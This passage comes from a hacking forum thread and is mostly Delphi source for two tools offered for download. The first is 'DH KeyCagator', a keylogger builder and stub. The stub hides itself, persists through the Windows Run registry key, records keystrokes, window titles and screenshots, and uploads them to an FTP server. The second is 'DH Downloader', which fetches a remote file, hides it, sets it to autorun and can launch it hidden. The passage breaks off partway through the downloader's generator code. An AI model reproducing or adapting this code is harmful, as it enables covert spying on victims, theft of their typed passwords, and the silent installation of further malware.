        sEdit2: TsEdit;
        sComboBox1: TsComboBox;
        sGroupBox3: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox4: TsGroupBox;
        sLabel1: TsLabel;
        sCheckBox1: TsCheckBox;
        sEdit3: TsEdit;
        sGroupBox7: TsGroupBox;
        sLabel2: TsLabel;
        sCheckBox2: TsCheckBox;
        sEdit4: TsEdit;
        sGroupBox5: TsGroupBox;
        sLabel3: TsLabel;
        sLabel4: TsLabel;
        sLabel5: TsLabel;
        sLabel6: TsLabel;
        sEdit5: TsEdit;
        sEdit6: TsEdit;
        sEdit7: TsEdit;
        sEdit8: TsEdit;
        sTabSheet4: TsTabSheet;
        sTabSheet5: TsTabSheet;
        sGroupBox6: TsGroupBox;
        Image2: TImage;
        sLabel7: TsLabel;
        sGroupBox9: TsGroupBox;
        sGroupBox10: TsGroupBox;
        sLabel8: TsLabel;
        sLabel9: TsLabel;
        sLabel10: TsLabel;
        sLabel11: TsLabel;
        sEdit9: TsEdit;
        sEdit10: TsEdit;
        sEdit11: TsEdit;
        sEdit12: TsEdit;
        sButton2: TsButton;
        IdFTP1: TIdFTP;
        OpenDialog1: TOpenDialog;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    var
      lineafinal: string;

      savein_especial: string;
      savein: string;
      foldername: string;

      capture_op: string;
      capture_seconds: integer;

      ftp_op: string;
      ftp_seconds: integer;
      ftp_host_txt: string;
      ftp_user_txt: string;
      ftp_pass_txt: string;
      ftp_path_txt: string;

      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;

      stubgenerado: string;
      op: string;
      change: DWORD;
      valor: string;

    begin

      if (sRadioButton1.Checked = True) then

      begin

        savein_especial := '0';

        if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := sComboBox1.Items[sComboBox1.ItemIndex];
        end;

      end;

      if (sRadioButton2.Checked = True) then
      begin
        savein_especial := '1';
        savein := sEdit2.Text;
      end;

      foldername := sEdit1.Text;

      if (sCheckBox1.Checked = True) then
      begin
        capture_op := '1';
      end
      else
      begin
        capture_op := '0';
      end;

      capture_seconds := StrToInt(sEdit3.Text) * 1000;

      if (sCheckBox2.Checked = True) then
      begin
        ftp_op := '1';
      end
      else
      begin
        ftp_op := '0';
      end;

      ftp_seconds := StrToInt(sEdit4.Text) * 1000;

      ftp_host_txt := sEdit5.Text;
      ftp_user_txt := sEdit7.Text;
      ftp_pass_txt := sEdit8.Text;
      ftp_path_txt := sEdit6.Text;

      lineafinal := '[63686175]' + dhencode
        ('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
          '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
          '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
          + '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
          '[ftp_seconds]' + IntToStr(ftp_seconds)
          + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
          '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
          ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
        'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      stubgenerado := 'keycagator_ready.exe';

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName)
            + '/' + 'Data/keycagator.exe'), PChar
          (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

      StrCopy(code, PChar(lineafinal));
      aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
        FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');

      if (op = 'Yes') then
      begin
        OpenDialog1.InitialDir := GetCurrentDir;
        if OpenDialog1.Execute then
        begin

          try
            begin

              valor := IntToStr(128);

              change := BeginUpdateResourceW
                (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                      + '/' + stubgenerado)), False);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(OpenDialog1.FileName)));
              EndUpdateResourceW(change, False);
              sStatusBar1.Panels[0].Text := '[+] Done ';
              sStatusBar1.Update;
            end;
          except
            begin
              sStatusBar1.Panels[0].Text := '[-] Error';
              sStatusBar1.Update;
            end;
          end;
        end
        else
        begin
          sStatusBar1.Panels[0].Text := '[+] Done ';
          sStatusBar1.Update;
        end;
      end
      else
      begin
        sStatusBar1.Panels[0].Text := '[+] Done ';
        sStatusBar1.Update;
      end;

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    var
      i: integer;
      dir: string;
      busqueda: TSearchRec;

    begin

      IdFTP1.Host := sEdit9.Text;
      IdFTP1.Username := sEdit11.Text;
      IdFTP1.Password := sEdit12.Text;

      dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';

      try
        begin
          FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
          DeleteFile(dir + '\' + busqueda.Name);
          while FindNext(busqueda) = 0 do
          begin
            DeleteFile(dir + '\' + busqueda.Name);
          end;
          FindClose(busqueda);

          rmdir(dir);
        end;
      except
        //
      end;

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      try
        begin
          IdFTP1.Connect;
          IdFTP1.ChangeDir(sEdit10.Text);

          IdFTP1.List('*.*', True);

          for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
          begin
            IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
              IdFTP1.DirectoryListing.Items[i].FileName, False, False);
          end;

          ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);

          IdFTP1.Disconnect;
          IdFTP1.Free;
        end;
      except
        //
      end;

    end;

    end.

    // The End ?


    El stub.

    Código: delphi

    // DH KeyCagator 0.7
    // (C) Doddy Hackman 2013

    program keycagator;

    // {$APPTYPE CONSOLE}

    uses
      SysUtils, Windows, WinInet, ShellApi;

    var
      nombrereal: string;
      rutareal: string;
      yalisto: string;
      registro: HKEY;
      dir: string;
      time: integer;

      dir_hide: string;
      time_screen: integer;
      time_ftp: integer;
      ftp_host: Pchar;
      ftp_user: Pchar;
      ftp_password: Pchar;
      ftp_dir: Pchar;

      carpeta: string;
      directorio: string;
      dir_normal: string;
      dir_especial: string;
      ftp_online: string;
      screen_online: string;
      activado: string;

      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

      // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      try

        begin
          AssignFile(ar, filename);
          FileMode := fmOpenWrite;

          if FileExists(filename) then
            Append(ar)
          else
            Rewrite(ar);

          Write(ar, texto);
          CloseFile(ar);
        end;
      except
        //
      end;

    end;

    procedure upload_ftpfile(host, username, password, filetoupload,
      conestenombre: Pchar);

    // Credits :
    // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
    // Thanks to Omair Iqbal

    var
      controluno: HINTERNET;
      controldos: HINTERNET;

    begin

      try

        begin
          controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
          controldos := InternetConnect(controluno, host,
            INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
            INTERNET_FLAG_PASSIVE, 0);
          ftpPutFile(controldos, filetoupload, conestenombre,
            FTP_TRANSFER_TYPE_BINARY, 0);
          InternetCloseHandle(controldos);
          InternetCloseHandle(controluno);
        end
      except
        //
      end;

    end;

    procedure capturar_pantalla(nombre: string);

    // Credits :
    // Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
    // Thanks to  www.delphibasics.info and n0v4

    var

      uno: integer;
      dos: integer;
      cre: hDC;
      cre2: hDC;
      im: hBitmap;
      archivo: file of byte;
      parriba: TBITMAPFILEHEADER;
      cantidad: pointer;
      data: TBITMAPINFO;

    begin


      // Start

      cre := getDC(getDeskTopWindow);
      cre2 := createCompatibleDC(cre);
      uno := getDeviceCaps(cre, HORZRES);
      dos := getDeviceCaps(cre, VERTRES);
      zeromemory(@data, sizeOf(data));


      // Config

      with data.bmiHeader do
      begin
        biSize := sizeOf(TBITMAPINFOHEADER);
        biWidth := uno;
        biheight := dos;
        biplanes := 1;
        biBitCount := 24;

      end;

      with parriba do
      begin
        bfType := ord('B') + (ord('M') shl 8);
        bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
          + uno * dos * 3;
        bfOffBits := sizeOf(TBITMAPINFOHEADER);
      end;

      //

      im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
      selectObject(cre2, im);

      bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);

      releaseDC(getDeskTopWindow, cre);

      // Make Photo

      AssignFile(archivo, nombre);
      Rewrite(archivo);

      blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
      blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
      blockWrite(archivo, cantidad^, uno * dos * 3);

    end;

    procedure capturar_teclas;

    var
      I: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;

    const

      n_numeros_izquierda: array [1 .. 10] of string =
        ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string =
        ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
        '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
        '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
        '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      while (1 = 1) do
      begin

        Sleep(time); // Time

        try

          begin

            // Others

            for I := Low(n_raros) to High(n_raros) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_raros[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_raros[I]);
              end;
            end;

            // SHIFT

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              for I := Low(n_shift) to High(n_shift) do
              begin
                Result := GetAsyncKeyState(StrToInt(n_shift[I]));
                If Result = -32767 then
                begin
                  savefile('logs.html', t_shift[I]);
                end;
              end;

              for I := 65 to 90 do
              begin
                Result := GetAsyncKeyState(I);
                If Result = -32767 then
                Begin
                  savefile('logs.html', Chr(I + 0));
                End;
              end;

            end;

            // Numbers

            for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_derecha[I]);
              end;
            end;

            for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_izquierda[I]);
              end;
            end;

            // MAYUS

            if (GetKeyState(20) = 0) then
            begin
              mayus := 32;
            end
            else
            begin
              mayus := 0;
            end;

            for I := 65 to 90 do
            begin
              Result := GetAsyncKeyState(I);
              If Result = -32767 then
              Begin
                savefile('logs.html', Chr(I + mayus));
              End;
            end;
          end;
        except
          //
        end;

      end;
    end;

    procedure capturar_ventanas;
    var
      ventana1: array [0 .. 255] of Char;
      nombre1: string;
      Nombre2: string; //
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time); // Time

            GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));

            nombre1 := ventana1;

            if not(nombre1 = Nombre2) then
            begin
              Nombre2 := nombre1;
              savefile('logs.html',
                '<hr style=color:#00FF00><h2><center>' + Nombre2 +
                  '</h2></center><br>');
            end;

          end;
        except
          //
        end;
      end;

    end;

    procedure capturar_pantallas;
    var
      generado: string;
    begin
      while (1 = 1) do
      begin

        Sleep(time_screen);

        generado := IntToStr(Random(100)) + '.jpg';

        try

          begin
            capturar_pantalla(generado);
          end;
        except
          //
        end;

        SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);

        savefile('logs.html', '<br><br><center><img src=' + generado +
            '></center><br><br>');

      end;
    end;

    procedure subirftp;
    var
      busqueda: TSearchRec;
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time_ftp);

            upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
                (dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));

            FindFirst(dir + '*.jpg', faAnyFile, busqueda);

            upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
                (dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            while FindNext(busqueda) = 0 do
            begin
              upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
                  (dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            end;
          end;
        except
          //
        end;
      end;
    end;

    procedure control;
    var
      I: integer;
      re: Longint;
    begin

      while (1 = 1) do
      begin

        try

          begin

            Sleep(time);

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              re := GetAsyncKeyState(120);
              If re = -32767 then
              Begin

                ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
                  SW_SHOWNORMAL);

              End;
            end;
          end;
        except
          //
        end;
      End;
    end;

    //

    begin

      try

        // Config

        try

          begin

            // Edit

            ob := INVALID_HANDLE_VALUE;
            code := '';

            ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
              nil, OPEN_EXISTING, 0, 0);
            if (ob <> INVALID_HANDLE_VALUE) then
            begin
              SetFilePointer(ob, -9999, nil, FILE_END);
              ReadFile(ob, code, 9999, nose, nil);
              CloseHandle(ob);
            end;

            todo := regex(code, '[63686175]', '[63686175]');
            todo := dhencode(todo, 'decode');

            dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
            directorio := regex(todo, '[save]', '[save]');
            carpeta := regex(todo, '[folder]', '[folder]');
            screen_online := regex(todo, '[capture_op]', '[capture_op]');
            time_screen := StrToInt(regex(todo, '[capture_seconds]',
                '[capture_seconds]'));
            ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
            time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
            ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
            ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
            ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
            ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

            dir_normal := dir_especial;

            time := 100; // Not Edit

            if (dir_normal = '1') then
            begin
              dir_hide := directorio;
            end
            else
            begin
              dir_hide := GetEnvironmentVariable(directorio) + '/';
            end;

            dir := dir_hide + carpeta + '/';

            if not(DirectoryExists(dir)) then
            begin
              CreateDir(dir);
            end;

            ChDir(dir);

            nombrereal := ExtractFileName(paramstr(0));
            rutareal := dir;
            yalisto := dir + nombrereal;

            MoveFile(Pchar(paramstr(0)), Pchar(yalisto));

            SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);

            SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

            savefile(dir + '/logs.html', '');

            SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);

            savefile('logs.html',
              '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

            RegCreateKeyEx(HKEY_LOCAL_MACHINE,
              'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
              REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
            RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
            RegCloseKey(registro);
          end;
        except
          //
        end;

        // End

        // Start the party

        BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
        BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);

        if (screen_online = '1') then
        begin
          BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
        end;
        if (ftp_online = '1') then
        begin
          BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
        end;

        BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);

        // Readln;

        while (1 = 1) do
          Sleep(time);

      except
        //
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#156
Delphi / [Delphi] DH Downloader 0.5
Noviembre 18, 2013, 10:59:06 AM
Un simple programa en Delphi para bajar archivos con las siguientes opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.

    Unas imagenes :







    El codigo.

    El form principal.

    Código: delphi

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    unit dh;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sGroupBox1: TsGroupBox;
        sButton1: TsButton;
        sButton2: TsButton;
        sButton3: TsButton;
        sButton4: TsButton;
        procedure sButton3Click(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses about, usbmode, generate;
    {$R *.dfm}

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'neonnight';
      sSkinManager1.Active := True;

    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin
      Form3.Show;
    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    begin
      Form4.Show;
    end;

    procedure TForm1.sButton3Click(Sender: TObject);
    begin
      Form2.Show;
    end;

    procedure TForm1.sButton4Click(Sender: TObject);
    begin
      Form1.Close;
    end;

    end.

    // The End ?


    El USB Mode.

    Código: delphi

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    unit usbmode;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
      sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;

    type
      TForm3 = class(TForm)
        Image1: TImage;
        sStatusBar1: TsStatusBar;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox3: TsGroupBox;
        sCheckBox1: TsCheckBox;
        sEdit2: TsEdit;
        sCheckBox2: TsCheckBox;
        sEdit3: TsEdit;
        sCheckBox3: TsCheckBox;
        sCheckBox4: TsCheckBox;
        sCheckBox5: TsCheckBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        sGroupBox4: TsGroupBox;
        sButton1: TsButton;
        sProgressBar1: TsProgressBar;
        IdHTTP1: TIdHTTP;
        procedure sButton1Click(Sender: TObject);
        procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form3: TForm3;

    implementation

    uses about, dh;
    {$R *.dfm}
    // Functions

    function getfilename(archivo: string): string;
    var
      test: TStrings;
    begin

      test := TStringList.Create;
      test.Delimiter := '/';
      test.DelimitedText := archivo;
      Result := test[test.Count - 1];

      test.Free;

    end;

    //

    procedure TForm3.FormCreate(Sender: TObject);
    begin
      sProgressBar1.Position := 0;
    end;

    procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    begin
      sProgressBar1.Position := AWorkCount;
      sStatusBar1.Panels[0].Text := '[+] Downloading ...';
      sStatusBar1.Update;
    end;

    procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    begin
      sProgressBar1.Max := AWorkCountMax;
      sStatusBar1.Panels[0].Text := '[+] Starting download ...';
      sStatusBar1.Update;
    end;

    procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    begin
      sProgressBar1.Position := 0;
    end;

    procedure TForm3.sButton1Click(Sender: TObject);
    var
      filename: string;
      nombrefinal: string;
      addnow: TRegistry;
      archivobajado: TFileStream;

    begin

      if not sCheckBox1.Checked then
      begin
        filename := sEdit1.Text;
        nombrefinal := getfilename(filename);
      end
      else
      begin
        nombrefinal := sEdit2.Text;
      end;

      archivobajado := TFileStream.Create(nombrefinal, fmCreate);

      try
        begin
          DeleteFile(nombrefinal);
          IdHTTP1.Get(sEdit1.Text, archivobajado);
          sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
          sStatusBar1.Update;
          archivobajado.Free;
        end;
      except
        sStatusBar1.Panels[0].Text := '[-] Failed download';
        sStatusBar1.Update;
        archivobajado.Free;
        Abort;
      end;

      if FileExists(nombrefinal) then
      begin

        if sCheckBox2.Checked then
        begin
          if not DirectoryExists(sEdit3.Text) then
          begin
            CreateDir(sEdit3.Text);
          end;
          MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
          sStatusBar1.Panels[0].Text := '[+] File Moved';
          sStatusBar1.Update;
        end;

        if sCheckBox3.Checked then
        begin
          SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
          if sCheckBox2.Checked then
          begin
            SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
              FILE_ATTRIBUTE_HIDDEN);

            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            sStatusBar1.Update;
          end
          else
          begin
            SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            sStatusBar1.Update;
          end;
        end;

        if sCheckBox4.Checked then
        begin

          addnow := TRegistry.Create;
          addnow.RootKey := HKEY_LOCAL_MACHINE;
          addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

          if sCheckBox2.Checked then
          begin
            addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
          end
          else
          begin
            addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
                + '/' + nombrefinal);
          end;

          sStatusBar1.Panels[0].Text := '[+] Registry Updated';
          sStatusBar1.Update;

          addnow.Free;

        end;

        if sCheckBox5.Checked then
        begin

          if sRadioButton1.Checked then
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_SHOWNORMAL);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
                SW_SHOWNORMAL);
            end;
          end
          else
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_HIDE);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
            end;
          end;

        end;

        if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
          sCheckBox4.Checked or sCheckBox5.Checked then
        begin
          sStatusBar1.Panels[0].Text := '[+] Finished';
          sStatusBar1.Update;
        end;

      end;

    end;

    end.

    // The End ?


    El generador.

    Código: delphi

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    unit generate;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
      sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;

    type
      TForm4 = class(TForm)
        Image1: TImage;
        sStatusBar1: TsStatusBar;

        OpenDialog1: TOpenDialog;
        sPageControl1: TsPageControl;
        sTabSheet1: TsTabSheet;
        sTabSheet2: TsTabSheet;
        sTabSheet3: TsTabSheet;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox3: TsGroupBox;
        sEdit2: TsEdit;
        sGroupBox4: TsGroupBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        sGroupBox5: TsGroupBox;
        sGroupBox6: TsGroupBox;
        sGroupBox7: TsGroupBox;
        Image2: TImage;
        sButton1: TsButton;
        sGroupBox8: TsGroupBox;
        sComboBox1: TsComboBox;
        sGroupBox9: TsGroupBox;
        sCheckBox1: TsCheckBox;
        sEdit3: TsEdit;
        sGroupBox10: TsGroupBox;
        sButton2: TsButton;
        procedure sButton1Click(Sender: TObject);
        procedure sEdit2Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);

        procedure FormCreate(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form4: TForm4;

    implementation

    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    function getfilename(archivo: string): string;
    var
      test: TStrings;
    begin

      test := TStringList.Create;
      test.Delimiter := '/';
      test.DelimitedText := archivo;
      Result := test[test.Count - 1];

      test.Free;

    end;

    //

    procedure TForm4.FormCreate(Sender: TObject);
    begin

      OpenDialog1.InitialDir := GetCurrentDir;
